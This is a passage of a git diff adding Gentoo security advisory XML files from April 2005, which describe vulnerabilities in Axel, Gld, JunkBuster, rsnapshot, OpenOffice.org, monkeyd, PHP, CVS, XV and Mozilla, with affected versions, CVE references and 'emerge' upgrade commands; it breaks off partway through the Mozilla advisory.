diff --git a/xml/htdocs/security/en/glsa/glsa-200504-09.xml b/xml/htdocs/security/en/glsa/glsa-200504-09.xml
new file mode 100644
index 00000000..0f95f1d5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-09.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-09">
+  <title>Axel: Vulnerability in HTTP redirection handling</title>
+  <synopsis>
+    A buffer overflow vulnerability has been found in Axel which could lead to
+    the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Axel</product>
+  <announced>April 12, 2005</announced>
+  <revised>April 12, 2005: 01</revised>
+  <bug>88264</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/axel" auto="yes" arch="*">
+      <unaffected range="ge">1.0b</unaffected>
+      <vulnerable range="lt">1.0b</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Axel is a console-based FTP/HTTP download accelerator.
+    </p>
+  </background>
+  <description>
+    <p>
+    A possible buffer overflow has been reported in the HTTP
+    redirection handling code in conn.c.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit this vulnerability by setting up a
+    malicious site and enticing a user to connect to it. This could
+    possibly lead to the execution of arbitrary code with the permissions
+    of the user running Axel.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Axel users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/axel-1.0b&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0390">CAN-2005-0390</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 11 Apr 2005 18:36:13 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 11 Apr 2005 19:29:05 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 12 Apr 2005 11:48:11 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-10.xml b/xml/htdocs/security/en/glsa/glsa-200504-10.xml
new file mode 100644
index 00000000..3d422a9e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-10.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-10">
+  <title>Gld: Remote execution of arbitrary code</title>
+  <synopsis>
+    Gld contains several serious vulnerabilities, potentially resulting in the
+    execution of arbitrary code as the root user.
+  </synopsis>
+  <product type="ebuild">Gld</product>
+  <announced>April 13, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>88904</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-filter/gld" auto="yes" arch="*">
+      <unaffected range="ge">1.5</unaffected>
+      <vulnerable range="le">1.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Gld is a standalone greylisting server for Postfix.
+    </p>
+  </background>
+  <description>
+    <p>
+    dong-hun discovered several buffer overflows in server.c, as well as
+    several format string vulnerabilities in cnf.c.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could exploit this vulnerability to execute arbitrary code
+    with the permissions of the user running Gld, the default user being
+    root.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Gld users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-filter/gld-1.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://securitytracker.com/alerts/2005/Apr/1013678.html">SecurityTracker ID 1013678</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1099">CVE-2005-1099</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1100">CVE-2005-1100</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 13 Apr 2005 10:26:52 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 13 Apr 2005 12:04:44 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-11.xml b/xml/htdocs/security/en/glsa/glsa-200504-11.xml
new file mode 100644
index 00000000..7a0e4ce6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-11.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-11">
+  <title>JunkBuster: Multiple vulnerabilities</title>
+  <synopsis>
+    JunkBuster is vulnerable to a heap corruption vulnerability, and under
+    certain configurations may allow an attacker to modify settings.
+  </synopsis>
+  <product type="ebuild">junkbuster</product>
+  <announced>April 13, 2005</announced>
+  <revised>April 21, 2005: 02</revised>
+  <bug>88537</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-proxy/junkbuster" auto="yes" arch="*">
+      <unaffected range="ge">2.0.2-r3</unaffected>
+      <vulnerable range="lt">2.0.2-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    JunkBuster is a filtering HTTP proxy, designed to enhance privacy and
+    remove unwanted content.
+    </p>
+  </background>
+  <description>
+    <p>
+    James Ranson reported a vulnerability when JunkBuster is configured to
+    run in single-threaded mode, an attacker can modify the referrer
+    setting by getting a victim to request a specially crafted URL
+    (CAN-2005-1108). Tavis Ormandy of the Gentoo Linux Security Audit Team
+    identified a heap corruption issue in the filtering of URLs
+    (CAN-2005-1109).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    If JunkBuster has been configured to run in single-threaded mode, an
+    attacker can disable or modify the filtering of Referrer: HTTP headers,
+    potentially compromising the privacy of users. The heap corruption
+    vulnerability could crash or disrupt the operation of the proxy,
+    potentially executing arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All JunkBuster users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-proxy/junkbuster-2.0.2-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1108">CAN-2005-1108</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1109">CAN-2005-1109</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 12 Apr 2005 20:24:12 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 12 Apr 2005 21:28:36 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 13 Apr 2005 08:43:25 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-12.xml b/xml/htdocs/security/en/glsa/glsa-200504-12.xml
new file mode 100644
index 00000000..2d10a790
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-12.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-12">
+  <title>rsnapshot: Local privilege escalation</title>
+  <synopsis>
+    rsnapshot allows a local user to take ownership of local files, resulting
+    in privilege escalation.
+  </synopsis>
+  <product type="ebuild">rsnapshot</product>
+  <announced>April 13, 2005</announced>
+  <revised>December 30, 2007: 05</revised>
+  <bug>88681</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-backup/rsnapshot" auto="yes" arch="*">
+      <unaffected range="ge">1.2.1</unaffected>
+      <unaffected range="rge">1.1.7</unaffected>
+      <vulnerable range="lt">1.2.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    rsnapshot is a filesystem snapshot utility based on rsync, allowing
+    local and remote systems backups.
+    </p>
+  </background>
+  <description>
+    <p>
+    The copy_symlink() subroutine in rsnapshot follows symlinks when
+    changing file ownership, instead of changing the ownership of the
+    symlink itself.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Under certain circumstances, local attackers can exploit this
+    vulnerability to take ownership of arbitrary files, resulting in local
+    privilege escalation.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    The copy_symlink() subroutine is not called if the cmd_cp parameter has
+    been enabled.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All rsnapshot users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose app-backup/rsnapshot</code>
+  </resolution>
+  <references>
+    <uri link="http://www.rsnapshot.org/security/2005/001.html">rsnapshot Security Advisory 001</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1064">CVE-2005-1064</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 11 Apr 2005 07:57:07 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 11 Apr 2005 21:22:40 +0000">
+    lewk
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 13 Apr 2005 08:59:16 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-13.xml b/xml/htdocs/security/en/glsa/glsa-200504-13.xml
new file mode 100644
index 00000000..5418c862
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-13.xml
@@ -0,0 +1,102 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-13">
+  <title>OpenOffice.Org: DOC document Heap Overflow</title>
+  <synopsis>
+    OpenOffice.Org is vulnerable to a heap overflow when processing DOC
+    documents, which could lead to arbitrary code execution.
+  </synopsis>
+  <product type="ebuild">OpenOffice</product>
+  <announced>April 15, 2005</announced>
+  <revised>May 08, 2005: 02</revised>
+  <bug>88863</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-office/openoffice" auto="yes" arch="*">
+      <unaffected range="ge">1.1.4-r1</unaffected>
+      <vulnerable range="lt">1.1.4-r1</vulnerable>
+    </package>
+    <package name="app-office/openoffice-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.1.4-r1</unaffected>
+      <vulnerable range="lt">1.1.4-r1</vulnerable>
+    </package>
+    <package name="app-office/openoffice-ximian" auto="yes" arch="*">
+      <unaffected range="ge">1.3.9-r1</unaffected>
+      <unaffected range="rge">1.3.6-r1</unaffected>
+      <unaffected range="rge">1.3.7-r1</unaffected>
+      <vulnerable range="lt">1.3.9-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenOffice.org is an office productivity suite, including word
+    processing, spreadsheets, presentations, drawings, data charting,
+    formula editing, and file conversion facilities.
+    </p>
+  </background>
+  <description>
+    <p>
+    AD-LAB has discovered a heap overflow in the "StgCompObjStream::Load()"
+    function when processing DOC documents.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could design a malicious DOC document containing a
+    specially crafted header which, when processed by OpenOffice.Org, would
+    result in the execution of arbitrary code with the rights of the user
+    running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenOffice.Org users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/openoffice-1.1.4-r1&quot;</code>
+    <p>
+    All OpenOffice.Org binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/openoffice-bin-1.1.4-r1&quot;</code>
+    <p>
+    All OpenOffice.Org Ximian users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose app-office/openoffice-ximian</code>
+    <p>
+    Note to PPC users: There is no stable OpenOffice.Org fixed version for
+    the PPC architecture. Affected users should switch to the latest
+    OpenOffice.Org Ximian version.
+    </p>
+    <p>
+    Note to SPARC users: There is no stable OpenOffice.Org fixed version
+    for the SPARC architecture. Affected users should switch to the latest
+    OpenOffice.Org Ximian version.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://www.openoffice.org/issues/show_bug.cgi?id=46388">OpenOffice.Org Issue 46388</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0941">CAN-2005-0941</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 13 Apr 2005 09:08:22 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 14 Apr 2005 15:46:07 +0000">
+    formula7
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 15 Apr 2005 07:51:32 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-14.xml b/xml/htdocs/security/en/glsa/glsa-200504-14.xml
new file mode 100644
index 00000000..56df3467
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-14.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-14">
+  <title>monkeyd: Multiple vulnerabilities</title>
+  <synopsis>
+    Format string and Denial of Service vulnerabilities have been discovered in
+    the monkeyd HTTP server, potentially resulting in the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">monkeyd</product>
+  <announced>April 15, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>87916</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/monkeyd" auto="yes" arch="*">
+      <unaffected range="ge">0.9.1</unaffected>
+      <vulnerable range="lt">0.9.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    monkeyd is a fast, efficient, small and easy to configure web server
+    for Linux.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Gentoo Linux Security Audit Team discovered a
+    double expansion error in monkeyd, resulting in a format string
+    vulnerability. Ciaran McCreesh of Gentoo Linux discovered a Denial of
+    Service vulnerability, a syntax error caused monkeyd to zero out
+    unallocated memory should a zero byte file be requested.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    The format string vulnerability could allow an attacker to send a
+    specially crafted request to the monkeyd server, resulting in the
+    execution of arbitrary code with the permissions of the user running
+    monkeyd. The DoS vulnerability could allow an attacker to disrupt the
+    operation of the web server, should a zero byte file be accessible.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All monkeyd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/monkeyd-0.9.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1122">CVE-2005-1122</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1123">CVE-2005-1123</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 14 Apr 2005 15:11:45 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 14 Apr 2005 20:09:53 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 15 Apr 2005 16:10:15 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-15.xml b/xml/htdocs/security/en/glsa/glsa-200504-15.xml
new file mode 100644
index 00000000..389eaa23
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-15.xml
@@ -0,0 +1,97 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-15">
+  <title>PHP: Multiple vulnerabilities</title>
+  <synopsis>
+    Several vulnerabilities were found and fixed in PHP image handling
+    functions, potentially resulting in Denial of Service conditions or the
+    remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">PHP</product>
+  <announced>April 18, 2005</announced>
+  <revised>April 18, 2005: 01</revised>
+  <bug>87517</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-php/php" auto="yes" arch="*">
+      <unaffected range="ge">4.3.11</unaffected>
+      <vulnerable range="lt">4.3.11</vulnerable>
+    </package>
+    <package name="dev-php/mod_php" auto="yes" arch="*">
+      <unaffected range="ge">4.3.11</unaffected>
+      <vulnerable range="lt">4.3.11</vulnerable>
+    </package>
+    <package name="dev-php/php-cgi" auto="yes" arch="*">
+      <unaffected range="ge">4.3.11</unaffected>
+      <vulnerable range="lt">4.3.11</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PHP is a general-purpose scripting language widely used to develop
+    web-based applications. It can run inside a web server using the
+    mod_php module or the CGI version of PHP, or can run stand-alone in a
+    CLI.
+    </p>
+  </background>
+  <description>
+    <p>
+    An integer overflow and an unbound recursion were discovered in
+    the processing of Image File Directory tags in PHP's EXIF module
+    (CAN-2005-1042, CAN-2005-1043). Furthermore, two infinite loops have
+    been discovered in the getimagesize() function when processing IFF or
+    JPEG images (CAN-2005-0524, CAN-2005-0525).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could craft an image file with a malicious EXIF
+    IFD tag, a large IFD nesting level or invalid size parameters and send
+    it to a web application that would process this user-provided image
+    using one of the affected functions. This could result in denying
+    service on the attacked server and potentially executing arbitrary code
+    with the rights of the web server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PHP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-php/php-4.3.11&quot;</code>
+    <p>
+    All mod_php users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-php/mod_php-4.3.11&quot;</code>
+    <p>
+    All php-cgi users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-php/php-cgi-4.3.11&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.php.net/release_4_3_11.php">PHP 4.3.11 Release Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0524">CAN-2005-0524</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0525">CAN-2005-0525</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1042">CAN-2005-1042</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1043">CAN-2005-1043</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun, 17 Apr 2005 16:51:49 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 17 Apr 2005 16:51:59 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-16.xml b/xml/htdocs/security/en/glsa/glsa-200504-16.xml
new file mode 100644
index 00000000..8260ae6f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-16.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-16">
+  <title>CVS: Multiple vulnerabilities</title>
+  <synopsis>
+    Several serious vulnerabilities have been found in CVS, which may allow an
+    attacker to remotely compromise a CVS server or cause a DoS.
+  </synopsis>
+  <product type="ebuild">CVS</product>
+  <announced>April 18, 2005</announced>
+  <revised>April 22, 2005: 03</revised>
+  <bug>86476</bug>
+  <bug>89579</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-util/cvs" auto="yes" arch="*">
+      <unaffected range="ge">1.11.20</unaffected>
+      <vulnerable range="lt">1.11.20</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    CVS (Concurrent Versions System) is an open-source network-transparent
+    version control system. It contains both a client utility and a server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Alen Zukich has discovered several serious security issues in CVS,
+    including at least one buffer overflow (CAN-2005-0753), memory leaks
+    and a NULL pointer dereferencing error. Furthermore when launching
+    trigger scripts CVS includes a user controlled directory.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could exploit these vulnerabilities to cause a Denial of
+    Service or execute arbitrary code with the permissions of the CVS
+    pserver or the authenticated user (depending on the connection method
+    used).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All CVS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-util/cvs-1.11.20&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0753">CAN-2005-0753</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 12 Apr 2005 18:45:36 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 18 Apr 2005 20:37:28 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-17.xml b/xml/htdocs/security/en/glsa/glsa-200504-17.xml
new file mode 100644
index 00000000..4df93fac
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-17.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-17">
+  <title>XV: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in XV, potentially resulting
+    in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">xv</product>
+  <announced>April 19, 2005</announced>
+  <revised>April 19, 2005: 01</revised>
+  <bug>88742</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/xv" auto="yes" arch="*">
+      <unaffected range="ge">3.10a-r11</unaffected>
+      <vulnerable range="lt">3.10a-r11</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    XV is an interactive image manipulation program for the X Window
+    System.
+    </p>
+  </background>
+  <description>
+    <p>
+    Greg Roelofs has reported multiple input validation errors in XV
+    image decoders. Tavis Ormandy of the Gentoo Linux Security Audit Team
+    has reported insufficient validation in the PDS (Planetary Data System)
+    image decoder, format string vulnerabilities in the TIFF and PDS
+    decoders, and insufficient protection from shell meta-characters in
+    malformed filenames.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Successful exploitation would require a victim to view a specially
+    created image file using XV, potentially resulting in the execution of
+    arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All XV users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/xv-3.10a-r11&quot;</code>
+  </resolution>
+  <references/>
+  <metadata tag="requester" timestamp="Fri, 15 Apr 2005 12:13:29 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 15 Apr 2005 13:15:45 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 19 Apr 2005 04:58:52 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200504-18.xml b/xml/htdocs/security/en/glsa/glsa-200504-18.xml
new file mode 100644
index 00000000..54f324ad
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200504-18.xml
@@ -0,0 +1,137 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200504-18">
+  <title>Mozilla Firefox, Mozilla Suite: Multiple vulnerabilities</title>
+  <synopsis>
+    New Mozilla Firefox and Mozilla Suite releases fix new security
+    vulnerabilities, including memory disclosure and various ways of executing
+    JavaScript code with elevated privileges.
+  </synopsis>
+  <product type="ebuild">Mozilla</product>
+  <announced>April 19, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>89303</bug>
+  <bug>89305</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/mozilla-firefox" auto="yes" arch="*">
+      <unaffected range="ge">1.0.3</unaffected>
+      <vulnerable range="lt">1.0.3</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.0.3</unaffected>
+      <vulnerable range="lt">1.0.3</vulnerable>
+    </package>
+    <package name="www-client/mozilla" auto="yes" arch="*">
+      <unaffected range="ge">1.7.7</unaffected>
+      <vulnerable range="lt">1.7.7</vulnerable>
+    </package>
+    <package name="www-client/mozilla-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.7.7</unaffected>
+      <vulnerable range="lt">1.7.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Mozilla Suite is a popular all-in-one web browser that includes a
+    mail and news reader. Mozilla Firefox is the next-generation browser
+    from the Mozilla project.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities were found and fixed in the Mozilla Suite
+    and Mozilla Firefox:
+    </p>
+    <ul>
+    <li>Vladimir V. Perepelitsa reported a memory disclosure bug in
+    JavaScript's regular expression string replacement when using an
+    anonymous function as the replacement argument (CAN-2005-0989).</li>
+    <li>moz_bug_r_a4 discovered that Chrome UI code was overly trusting DOM
+    nodes from the content window, allowing privilege escalation via DOM
+    property overrides.</li>
+    <li>Michael Krax reported a possibility to run JavaScript code with
+    elevated privileges through the use of javascript: favicons.</li>
+    <li>Michael Krax also discovered that malicious Search plugins could
+    run JavaScript in the context of the displayed page or stealthily
+    replace existing search plugins.</li>
+    <li>shutdown discovered a technique to pollute the global scope of a
+    window in a way that persists from page to page.</li>
+    <li>Doron Rosenberg discovered a possibility to run JavaScript with
+    elevated privileges when the user asks to "Show" a blocked popup that
+    contains a JavaScript URL.</li>
+    <li>Finally, Georgi Guninski reported missing Install object instance
+    checks in the native implementations of XPInstall-related JavaScript
+    objects.</li>
+    </ul>
+    <p>
+    The following Firefox-specific vulnerabilities have also been
+    discovered:
+    </p>
+    <ul>
+    <li>Kohei Yoshino discovered a new way to abuse the sidebar panel to
+    execute JavaScript with elevated privileges.</li>
+    <li>Omar Khan reported that the Plugin Finder Service can be tricked to
+    open javascript: URLs with elevated privileges.</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    The various JavaScript execution with elevated privileges issues can be
+    exploited by a remote attacker to install malicious code or steal data.
+    The memory disclosure issue can be used to reveal potentially sensitive
+    information. Finally, the cache pollution issue and search plugin abuse
+    can be leveraged in cross-site-scripting attacks.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Firefox users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-1.0.3&quot;</code>
+    <p>
+    All Mozilla Firefox binary users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-bin-1.0.3&quot;</code>
+    <p>
+    All Mozilla Suite users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-1.7.7&quot;</code>
+    <p>
